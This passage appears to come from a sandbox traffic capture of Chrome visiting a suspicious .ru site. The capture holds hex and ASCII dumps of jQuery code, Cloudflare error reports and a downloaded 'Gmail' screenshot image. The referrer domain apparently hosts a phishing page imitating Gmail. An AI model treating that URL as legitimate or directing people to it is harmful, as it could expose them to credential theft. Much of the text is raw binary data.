2024-12-16 17:45:43 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.17	49777	35.190.80.1	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:42 UTC	531	OUT	OPTIONS /report/v4?s=5NYWLzRDuI80nlS2YUt7wvWcKj9npwTtL4vSZbECRoDtAsdQ%2F33Q4chrrK6cejR9N3xMEEWZ17JNA9jX6bAqGnzKHrejHug8oSLeB66J9Pau5tobx5VJV21iIfoRSA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://qb06.ffcwygff.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:43 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Mon, 16 Dec 2024 17:45:42 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.17	49778	35.190.80.1	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:44 UTC	472	OUT	POST /report/v4?s=5NYWLzRDuI80nlS2YUt7wvWcKj9npwTtL4vSZbECRoDtAsdQ%2F33Q4chrrK6cejR9N3xMEEWZ17JNA9jX6bAqGnzKHrejHug8oSLeB66J9Pau5tobx5VJV21iIfoRSA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 480 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:44 UTC	480	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 34 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 71 62 30 36 2e 66 66 63 77 79 67 66 66 2e 72 75 2f 35 47 34 59 56 2f 3f 73 75 62 6d 69 73 73 69 6f 6e 47 75 69 64 3d 33 61 66 34 30 63 38 65 2d 36 33 39 38 2d 34 64 32 36 2d 61 30 64 66 2d 66 37 31 65 31 64 66 64 34 34 31 33 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 36 30 2e 32 30 34 22 2c 22 73 74 61 74 75 73 5f 63 6f Data Ascii: [{"age":0,"body":{"elapsed_time":344,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413","sampling_fraction":1.0,"server_ip":"104.21.60.204","status_co
2024-12-16 17:45:44 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Mon, 16 Dec 2024 17:45:44 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.17	49779	104.18.161.117	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:45 UTC	672	OUT	GET /5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp HTTP/1.1 Host: cdn.prod.website-files.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qb06.ffcwygff.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:46 UTC	956	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:46 GMT Content-Type: image/webp Content-Length: 106290 Connection: close x-amz-id-2: ykOAIFjBYjIASAiCYVBMeSrMGA6UWk+uKxpq3MpyXwVNqfU1hBcYHQ7hMWTfiN4oaVDzl9stS/sm+R7QzApeYnSnR+sJXig5QtARV1Cx+9Y= x-amz-request-id: F3KQ37YXZ9TVGVHR Last-Modified: Tue, 05 Dec 2023 01:19:11 GMT ETag: "428183bfb7c31d8c3bcc985dac004681" x-amz-server-side-encryption: AES256 Cache-Control: max-age=84600, must-revalidate x-amz-version-id: pafjt1WRdKFeFq9Cn_ncOtPAOJJamed. CF-Cache-Status: HIT Age: 6728 Accept-Ranges: bytes Set-Cookie: __cf_bm=uERKZEIntBvTcxz9ApikiFoU8AGeCgl0xbvQLXkZOJY-1734371146-1.0.1.1-G9a.2McFv3omd7tATyWMQPTk_MrxhRZJYwVNTg2Fvj.cCgSTgRl1SWgw3E1EL21zExPstIOQ1MiVQs_dn9ybuw; path=/; expires=Mon, 16-Dec-24 18:15:46 GMT; domain=.prod.website-files.com; HttpOnly; Secure; SameSite=None Access-Control-Allow-Origin: * Server: cloudflare CF-RAY: 8f307d2f18ae728c-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:45:46 UTC	413	IN	Data Raw: 52 49 46 46 2a 9f 01 00 57 45 42 50 56 50 38 20 1e 9f 01 00 b0 3e 06 9d 01 2a cd 06 d3 03 3e 91 46 9d 4b a5 a3 a3 2c a4 b4 39 41 90 12 09 69 6e fc 66 c7 59 0c d2 1b b1 ba dc a8 13 20 6a 2e 19 b3 a7 7f 93 ee ad bf d6 f2 e6 5f fb 29 7c 75 e8 c2 ff e6 f9 82 02 3d f8 3f dd ff 17 f9 03 27 4d cb 9e 57 bc dd e6 cb fc df fd ff 63 1f d9 7f dc fb 01 fe ac 74 ab fe ff fe ab f5 e3 dc 37 ed 27 ed 9f bc 6f fd 3f dc 8f 7b 5f d9 fd 40 3f 93 7a 5c 7a 99 7e f4 7b 07 ff 20 ff 43 ff ff da 57 ff 5f b2 ef f7 cf fc de b5 9f f5 7d 40 3f ff fb 6a 74 a7 f8 7f f3 ef eb 3f d8 3f c2 7f 91 fe b1 ff ff e5 2f c7 ff 3c fe cd fd af fc 5f f9 5f ee 1e 8e fe 47 f3 cf e2 3f b7 7f 96 ff a7 fd e3 da 5f fc 0f f2 1e 1b fd 17 f9 5f f7 5f e1 bf ce fb 11 fc 9f ed b7 e5 7f bb 7f 96 ff c5 fe 13 e6 87 Data Ascii: RIFFWEBPVP8 >>FK,9AinfY j._)\|u=?'MWct7'o?{_@?z\z~{ CW_}@?jt??/<__G?___
2024-12-16 17:45:46 UTC	1369	IN	Data Raw: ff 6b fb 9b ed eb f4 6f f4 df fb 7f d3 ff b7 f9 09 fe 75 fd c7 fe c7 f8 ef f4 bf b7 df ff ff ff fd 7f ff ed f8 6d f9 ff ff ff e2 7b f7 ab ff ff ff 71 cc df 2d ee f9 66 10 24 4d f2 cc 20 45 17 00 ac f3 ff 0f 2e de 4c 27 26 9f cd 5e 7f e1 e5 db c9 84 e4 d3 f9 ab cf fc 3c bb 79 2b b9 2d b9 2b 8b 92 35 f7 88 ec b7 05 12 e2 d0 aa 62 c0 1f 97 46 54 4d f2 a4 63 ac f3 d3 1a fa ec f3 fe df 7f bf af 0b e7 03 4a 4d 41 a4 a1 dc ba 24 c3 00 c6 60 2b f1 78 91 5d 15 b4 a2 20 1c dc 37 6b 63 7c b2 ef 35 fe 11 aa eb 25 cd 78 15 57 7b b6 80 26 34 a8 19 b1 d3 0a d8 3a 07 74 0e e8 1d d0 3b a0 77 40 ee 81 dd 03 ba 07 74 0b e0 28 b9 54 29 61 36 46 c6 eb d0 fd ca aa 12 96 8a ac 22 8b b1 b8 fb fc ea 25 5c 75 c8 ba d2 bc fe 27 44 0b 9f 80 05 e2 11 9a b5 a5 d9 7d 10 13 33 fc 02 d6 Data Ascii: koum{q-f$M E.L'&^<y+-+5bFTMcJMA$`+x] 7kc\|5%xW{&4:t;w@t(T)a6F"%\u'D}3
2024-12-16 17:45:46 UTC	1369	IN	Data Raw: 3e 36 4f e5 d1 95 13 7c b3 08 12 26 f9 66 10 24 4d f2 cc 20 48 9b e5 98 40 91 37 cb 30 81 22 6f 8d 40 ff 80 fd f1 8c 50 08 b4 b9 1f 76 3e e1 c4 54 23 56 75 3e e3 05 46 4d ec 13 46 cc 5c ce 32 bc b9 b4 03 dd 7d f9 20 81 8d fa 4e 09 20 92 98 da a1 4d fe d6 88 1b 76 25 cb 55 a2 60 61 82 ef 22 bd 79 77 34 fe 66 2d f0 e8 08 a9 07 29 eb 05 3f a7 43 95 b2 b0 b1 3e e2 fc f8 3b 8d f9 ff 87 97 6f 26 13 93 4f e6 af 3f f0 f2 ed e4 c2 72 69 fc d5 e7 fe 1e 5d bc 98 4e 4d 3f 9a bc ff c3 cb b7 93 09 c9 a6 b8 dc 8d 15 ae 19 d5 cd a3 b9 b4 13 46 5a b4 c3 b5 26 1f f1 20 21 34 0b ee 82 5b 5d 8c aa c0 e7 15 e3 4a fe 92 d5 f2 19 5a 2a 98 63 24 16 7e c9 78 61 3e 5f 8b 2b d4 7b 72 69 74 88 42 9b a2 ed c2 49 cf 52 ed f4 64 7c 94 25 62 af 25 a9 ae 4f 7c 94 15 22 2d 1d 89 4d ce 76 Data Ascii: >6O\|&f$M H@70"o@Pv>T#Vu>FMF\2} N Mv%U`a"yw4f-)?C>;o&O?ri]NM?FZ& !4[]JZ*c$~xa>_+{ritBIRd\|%b%O\|"-Mv
2024-12-16 17:45:46 UTC	1369	IN	Data Raw: b5 91 06 c8 8c 53 c2 f4 eb a9 bc 65 3c 58 e1 c2 05 6b f9 d3 2e 38 b8 4d 7c f3 44 d8 66 18 af 75 f8 24 8d c3 ab 04 f5 f8 0f ff 91 74 25 c4 3a c2 71 03 6d 7b 73 ed 44 cc f0 3d 7b f4 b9 60 c0 2e cc 49 a8 6a f5 1f 73 26 fc 38 6a fe 13 f6 d4 40 44 56 64 a1 8b b8 e2 ec b6 55 92 88 1c cb 46 4b 38 73 70 41 e9 b2 66 48 25 60 26 70 b8 61 02 44 d5 14 3c 1a 0a 89 b1 df 40 90 51 d8 e2 a0 b8 dc a4 44 b0 6d 5e ee 2e bb 8d ca 7f 86 85 a2 ce b1 49 e4 bd 73 54 5c 38 14 e8 28 64 bc f8 fe 27 97 a7 8e f4 64 6f e3 3b 94 b1 7a 8a de e7 4a d6 3f fb 77 17 5d a6 e6 4d 7d 74 59 62 6f 15 00 3c 1c 48 b7 6b 00 71 30 16 5f 9f 4f d1 b9 29 e1 92 7b 72 f5 ed 8f 47 18 a9 98 ba 05 14 c6 9d f0 fb d5 8d 3a 3b 1b 6f 75 50 43 a0 77 a7 f4 cd cc 95 e9 2f 96 64 8c 6e 08 a2 2b a3 72 5b 2e ac 0d d9 Data Ascii: Se<Xk.8M\|Dfu$t%:qm{sD={`.Ijs&8j@DVdUFK8spAfH%`&paD<@QDm^.IsT\8(d'do;zJ?w]M}tYbo<Hkq0_O){rG:;ouPCw/dn+r[.
2024-12-16 17:45:46 UTC	1369	IN	Data Raw: 90 4e 69 ca fb ad 61 ec 7d 85 23 35 ec 20 dc 42 bf 6d 4b 2b 9f 04 3a 3c 58 00 2f 86 31 9e 71 2b 34 97 6b c6 11 81 26 39 48 56 4b 83 6c 2f 79 36 ff 0b f5 eb 65 fc 23 90 1d 69 15 79 a7 2e cb 40 df 9d a1 e0 e4 78 05 11 f4 37 d0 52 c1 98 c8 78 13 39 18 30 3c bf f4 d8 76 ec ba 3b 52 9f f9 de 92 f9 66 08 de 63 93 ee 84 56 82 41 a3 2a 13 80 ff 9f 70 e3 98 8e b1 e4 a2 ef ab 8a 15 f6 06 75 c3 23 9c 23 6f 0e 90 7a fb e6 07 b6 51 77 c3 6a 28 dd 5c ac ce 2e c8 40 3b 6f c6 d8 3d 6e 39 e9 6c 34 ff 36 0a d9 43 d5 52 86 e4 95 5f 22 76 db 40 fc 04 ab b6 be 9c de c8 a3 c9 05 4c c2 36 83 a0 a1 92 f7 d9 11 f9 f3 52 f3 e4 d6 be 13 d1 3c 38 d0 15 5a 45 4e 19 3a 1b 30 1b f3 14 1f da 89 10 6a 1e 0f e5 07 5e 83 6f fd e4 34 56 c6 fc 37 97 d4 1e ca e4 65 5d d9 23 44 35 c8 b1 1f 82 Data Ascii: Nia}#5 BmK+:<X/1q+4k&9HVKl/y6e#iy.@x7Rx90<v;RfcVA*pu##ozQwj(\.@;o=n9l46CR_"v@L6R<8ZEN:0j^o4V7e]#D5
2024-12-16 17:45:46 UTC	1369	IN	Data Raw: b3 91 41 80 b6 29 90 34 54 97 97 60 d0 23 ec 0c d9 55 5f fa 43 86 4a 6a 17 fa 0a 1a 3c eb 19 1b 11 a1 ea 9d 62 1e 13 08 71 87 6f 27 4b d9 b1 d6 1f cd ec 9a 60 86 56 7d 93 2c 06 12 24 53 1c 98 96 cb d5 5e 28 2f 15 6c 98 d6 3d 24 66 2f 19 93 13 2c 61 11 4e 1d 0d 14 a6 43 96 19 e7 b8 79 e3 43 b5 c8 55 89 33 d4 3b c0 9c 97 71 73 f2 63 e5 f4 64 87 ae a1 ed 52 d5 3a 98 b2 b4 d4 e3 2e 04 a0 cb fd 1e 62 de e5 95 a6 a6 fd 85 f3 8c 79 41 eb 6e f9 e5 fb 16 61 12 2f 69 42 35 59 27 0d 0f 53 f8 3b bb 15 e9 c2 85 cd 65 f7 e4 99 e9 ae 8a 06 b5 04 46 28 68 44 ea 27 1a 35 dc 38 13 3e 4e 82 b3 c2 89 db 28 fa 9a f8 ec 42 68 ad be 17 29 80 04 d5 4f 57 43 45 6c 6f 99 64 d3 1a 7a 1e 8a 5a 7b bc ff c3 cb b7 93 09 c9 a7 f3 56 e2 9e a9 1e e9 ca ea 2a f1 76 37 25 f8 8b 09 e0 dd b7 Data Ascii: A)4T`#U_CJj<bqo'K`V},$S^(/l=$f/,aNCyCU3;qscdR:.byAna/iB5Y'S;eF(hD'58>N(Bh)OWCElodzZ{V*v7%
2024-12-16 17:45:46 UTC	1369	IN	Data Raw: a1 a9 16 1a 98 f8 36 b2 35 fe 23 b8 dd c9 33 d3 64 82 34 24 8b 7c 21 ad 10 95 1a f1 a9 5f b9 1e fe b5 aa 9f 3f 6e 5f 39 ee f8 f9 3e 21 43 4d 0e 88 f0 7a 48 9b e5 98 40 91 49 b0 e9 34 03 cc 44 ed 5a 3e 17 e1 e5 db c9 84 e4 d3 f9 ab cc c1 ec 06 dc 60 c7 f4 3c b2 6d 9f b8 3e 8a 3c 17 e9 14 38 b2 72 69 fc d5 e7 fd 93 27 7e 03 76 79 ff 87 97 6f 25 30 70 61 1c 91 8d d9 e7 fe 1e 5d bc 98 4e 4d 3f a9 73 7d 97 aa bb e5 bc 30 17 1a 59 2f 62 79 e9 d9 80 92 13 11 3a 0f 35 b2 bb c7 d9 fd 93 d0 0a 7e 5e 93 13 5e d5 6d 1c b6 5d 01 bd 60 d6 4b 74 78 7d 40 b2 eb 0c 07 f6 7e 8d 8a ca dc 53 15 40 30 73 47 19 d8 28 49 11 e1 f2 ac 63 20 c7 10 17 e2 2c 76 92 74 0b cf d8 36 61 02 44 de 16 61 f7 b1 80 a9 67 56 5c 09 2f de 62 6f 9e ac 68 7e 9c bc 72 2a ba a7 8e 6e 6f 9a e7 3b 9c Data Ascii: 65#3d4$\|!_?n_9>!CMzH@I4DZ>`<m><8ri'~vyo%0pa]NM?s}0Y/by:5~^^m]`Ktx}@~S@0sG(Ic ,vt6aDagV\/boh~r*no;
2024-12-16 17:45:46 UTC	1369	IN	Data Raw: 5b 38 f5 4d 44 3c d1 1a d3 63 fb cf 9b 71 b2 45 49 c6 a3 9f d8 e6 e2 21 3c 98 49 c9 a7 f3 57 9f f8 79 76 f2 60 cc ff 0a a5 6f 46 84 42 f9 18 ef a3 0f 2e de 4c 27 22 09 c8 9b b7 91 7d c5 84 f3 57 9f 10 d7 22 c4 b1 39 34 fe 6a f3 ff 0f 2e dc fb 16 16 37 da 13 f2 06 de 00 e1 7d 83 fb 7e cd 5f 0d bd d6 da 5c 72 d1 ef fd 0e 3c 73 c2 b9 bb 2a db b8 a3 83 b4 50 75 76 49 84 bf b9 6c 14 43 f7 0e 43 ef aa fd dc 5a 8e 91 b3 b1 aa 43 99 f1 ff 23 9e da 85 2a 44 21 f5 43 85 8f be d8 32 18 13 01 78 d6 fe 8b b6 5b f2 cb 70 85 d2 32 30 1f e1 42 09 06 c5 a0 cb 12 d9 9a e2 e8 e0 42 f9 5d 59 da a6 4f 35 96 f7 29 cf 35 a6 58 e8 3b 52 ae fa 83 84 68 6e f2 80 fa ed 76 3c 45 13 3b a2 59 d7 4d f1 67 de 50 58 87 03 01 61 08 96 65 9e f3 f7 78 62 39 8b 11 23 3c 2a 1e 61 d1 2c 6a 44 Data Ascii: [8MD<cqEI!<IWyv`oFB.L'"}W"94j.7}~_\r<sPuvIlCCZC#D!C2x[p20BB]YO5)5X;Rhnv<E;YMgPXaexb9#<*a,jD
2024-12-16 17:45:46 UTC	1369	IN	Data Raw: 12 9b 9c ed 07 c9 42 56 2a e0 4d 0f d9 28 29 f4 ef 33 62 7e b6 06 c6 4b f4 e2 2d 1d 89 4d ce 76 83 e4 a0 ba 50 12 3f 9e a2 fd 38 88 2f 62 53 73 9d 92 b5 68 03 5a c5 e4 b5 35 c9 ef 92 82 a4 45 a3 b1 29 b9 cc 26 7c 17 46 7e 22 0d cc 57 f8 84 e9 74 93 fb 7e 58 0a e4 5c ad 58 6e 36 b5 55 97 f3 d9 66 10 21 c1 3a e9 db d8 46 95 63 cd e7 5f c1 20 d7 b2 86 7c e7 a1 30 99 3d 74 93 e2 c4 d9 0a fd 6d c9 56 13 79 57 00 9f 08 24 55 ff 66 f9 40 28 a9 f7 25 d2 73 aa 86 29 1a e1 f3 65 e3 84 ae 5d 19 51 37 86 c8 ae 9c fb b0 91 05 2b 2c b4 72 65 06 7a 82 85 09 a4 6c a3 7b e9 35 c8 3f 13 2c 23 e5 f3 fc 2c 92 aa 36 e9 7c e4 ae ac b9 2d 9c 32 9f 72 3a db 4d 90 3e 2c b9 37 6e 80 a2 49 32 6f 75 8a 33 05 af 1d 55 1a ae 85 25 2d 17 91 86 61 78 88 b3 b5 9a 1f f2 62 89 bd 97 c4 0d Data Ascii: BV*M()3b~K-MvP?8/bSshZ5E)&\|F~"Wt~X\Xn6Uf!:Fc_ \|0=tmVyW$Uf@(%s)e]Q7+,rezl{5?,#,6\|-2r:M>,7nI2ou3U%-axb
2024-12-16 17:45:46 UTC	1369	IN	Data Raw: 2b 7d 2c c2 04 8f 5d 4f 47 f7 86 84 50 0e 0d 83 8c c8 5d eb 72 df 61 88 28 df 96 6f 14 6b f0 5c aa a4 59 ef 41 4c 74 d6 06 df a3 38 a0 b8 28 19 e3 2a 06 fc d0 ab 6b c7 fd f1 49 2c cb ad 1d a7 24 6c 0c c2 50 a4 0f f1 cb 03 36 ea b9 7d d6 03 9b 8b 9b 2e a1 fa a9 21 31 ef 18 ff 36 12 a2 50 16 9e 5a 24 d9 59 35 22 57 87 af c3 65 1f 57 41 93 68 f1 c2 22 2e f9 a2 82 79 c2 dd da 4e 26 37 90 39 10 33 4d 6c ff 90 92 84 a2 ba b2 6f e1 87 05 44 65 91 3c ee d7 e7 9e 09 3d 90 7e 2d 05 4d 36 8d d6 a8 3b 17 24 eb a4 21 64 47 22 cd f4 f2 16 99 d7 f2 0a f5 d8 c0 ec 5c b8 39 3e 56 65 ff bc 89 82 cf c3 cd 7f a2 04 5f 43 18 e6 02 0a 01 47 17 9b 0e 64 10 05 1c 66 98 c4 f8 7d 43 59 34 db f6 39 94 77 f2 b4 7d 96 fd ea 81 ca 0e 9b 5f ae f2 0c ec 68 fc 08 47 2e 35 7f b7 9d 79 14 Data Ascii: +},]OGP]ra(ok\YALt8(*kI,$lP6}.!16PZ$Y5"WeWAh".yN&793MloDe<=~-M6;$!dG"\9>Ve_CGdf}CY49w}_hG.5y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.17	49780	104.18.161.117	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:48 UTC	603	OUT	GET /5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp HTTP/1.1 Host: cdn.prod.website-files.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=uERKZEIntBvTcxz9ApikiFoU8AGeCgl0xbvQLXkZOJY-1734371146-1.0.1.1-G9a.2McFv3omd7tATyWMQPTk_MrxhRZJYwVNTg2Fvj.cCgSTgRl1SWgw3E1EL21zExPstIOQ1MiVQs_dn9ybuw
2024-12-16 17:45:48 UTC	675	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:48 GMT Content-Type: image/webp Content-Length: 106290 Connection: close x-amz-id-2: ykOAIFjBYjIASAiCYVBMeSrMGA6UWk+uKxpq3MpyXwVNqfU1hBcYHQ7hMWTfiN4oaVDzl9stS/sm+R7QzApeYnSnR+sJXig5QtARV1Cx+9Y= x-amz-request-id: F3KQ37YXZ9TVGVHR Last-Modified: Tue, 05 Dec 2023 01:19:11 GMT ETag: "428183bfb7c31d8c3bcc985dac004681" x-amz-server-side-encryption: AES256 Cache-Control: max-age=84600, must-revalidate x-amz-version-id: pafjt1WRdKFeFq9Cn_ncOtPAOJJamed. CF-Cache-Status: HIT Age: 6730 Accept-Ranges: bytes Access-Control-Allow-Origin: * Server: cloudflare CF-RAY: 8f307d3da99e41f5-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:45:48 UTC	694	IN	Data Raw: 52 49 46 46 2a 9f 01 00 57 45 42 50 56 50 38 20 1e 9f 01 00 b0 3e 06 9d 01 2a cd 06 d3 03 3e 91 46 9d 4b a5 a3 a3 2c a4 b4 39 41 90 12 09 69 6e fc 66 c7 59 0c d2 1b b1 ba dc a8 13 20 6a 2e 19 b3 a7 7f 93 ee ad bf d6 f2 e6 5f fb 29 7c 75 e8 c2 ff e6 f9 82 02 3d f8 3f dd ff 17 f9 03 27 4d cb 9e 57 bc dd e6 cb fc df fd ff 63 1f d9 7f dc fb 01 fe ac 74 ab fe ff fe ab f5 e3 dc 37 ed 27 ed 9f bc 6f fd 3f dc 8f 7b 5f d9 fd 40 3f 93 7a 5c 7a 99 7e f4 7b 07 ff 20 ff 43 ff ff da 57 ff 5f b2 ef f7 cf fc de b5 9f f5 7d 40 3f ff fb 6a 74 a7 f8 7f f3 ef eb 3f d8 3f c2 7f 91 fe b1 ff ff e5 2f c7 ff 3c fe cd fd af fc 5f f9 5f ee 1e 8e fe 47 f3 cf e2 3f b7 7f 96 ff a7 fd e3 da 5f fc 0f f2 1e 1b fd 17 f9 5f f7 5f e1 bf ce fb 11 fc 9f ed b7 e5 7f bb 7f 96 ff c5 fe 13 e6 87 Data Ascii: RIFFWEBPVP8 >>FK,9AinfY j._)\|u=?'MWct7'o?{_@?z\z~{ CW_}@?jt??/<__G?___
2024-12-16 17:45:48 UTC	1369	IN	Data Raw: 39 a3 81 2e d6 6e b7 46 7e 35 52 2f 35 4a 18 e6 71 6c a8 84 7e cc 46 a7 42 f5 4c 58 bc 2b d0 0f d0 53 13 e5 bc d6 03 ca 0a 84 2b 0f 30 2b 63 7c b3 bb 9f 46 ca 09 c3 ca de e4 99 ba 9f 03 3b 13 4f 89 10 69 ec 60 ce 0b 44 eb 83 65 7a 2b 75 52 6a bb 49 0e d5 39 b4 a0 65 03 ef 71 2e f5 8a 3b d1 75 b0 63 31 b0 27 69 74 6c ce bf b4 c7 b4 46 da 12 f8 ca 64 78 b3 f0 70 4e 8e 1d 0d 15 b1 be 59 84 09 13 7c b3 08 12 26 7e 3e 51 19 b2 0d 6f 3d f8 31 60 d5 29 21 b4 64 e8 8c 9f a1 c6 f9 89 41 b7 ca 8d f5 f4 7e 94 f5 ae 88 b0 93 38 03 89 bd f3 51 95 45 ba 64 6a 08 10 56 af 60 55 f4 19 f0 58 55 51 ca fa cf f8 6f e6 7d a9 15 70 65 25 fd 2d a7 df 48 df 84 ff f6 c3 d4 4a 95 37 0f cf 03 a3 9c d9 15 fd 35 38 05 2d b8 df bb 0a a0 c8 22 c1 3c 85 c9 4f 97 5f 1e 93 4e 84 c5 88 3b Data Ascii: 9.nF~5R/5Jql~FBLX+S+0+c\|F;Oi`Dez+uRjI9eq.;uc1'itlFdxpNY\|&~>Qo=1`)!dA~8QEdjV`UXUQo}pe%-HJ758-"<O_N;
2024-12-16 17:45:48 UTC	1369	IN	Data Raw: 6a 6b 93 df 25 05 48 8b 47 62 53 73 9d a0 f9 28 4a c4 91 0d af 9e d1 38 18 34 e0 a4 a6 4c 9f d8 2a 77 24 55 cf 99 bc 6e 91 e0 86 3d a7 61 2d 2b 15 ba d9 a1 2b 15 79 2d 4c e5 fd 4e 87 2c a3 a9 1c 5f 41 32 39 4d 08 ff d9 0f 4c 22 76 cd 18 f0 1e 8f f5 78 01 f5 e6 98 b0 70 41 33 f2 4f e7 fb fc 33 7e a1 f0 3d ec 57 12 bf df f5 d7 c3 65 1a 68 dc d0 64 61 ba b9 61 bf 75 7c 10 67 95 42 5f 27 1c 11 61 dd 0f ac 75 5e c9 cd 5f 33 d4 92 04 50 70 51 37 68 e1 0c e3 a0 ce 2f 97 0c be 46 ad 74 5d 11 c1 c5 0c c2 cb ce ab 6b d6 e5 eb d6 b0 7f 2d 21 21 18 2e b7 37 66 06 80 8d ba 06 86 59 e9 e4 d3 5f 5f 03 de f7 dc 7a c3 57 30 01 1a fa 7e 31 db e2 16 3f 1e 3a 2c c7 7e 90 71 15 d4 ad 42 34 c3 40 24 7e 93 80 48 53 e3 b7 4a 33 a1 c6 e3 45 5f 7a 9a dc 12 a6 63 24 cc 8f 3e 24 23 Data Ascii: jk%HGbSs(J84L*w$Un=a-++y-LN,_A29ML"vxpA3O3~=Wehdaau\|gB_'au^_3PpQ7h/Ft]k-!!.7fY__zW0~1?:,~qB4@$~HSJ3E_zc$>$#
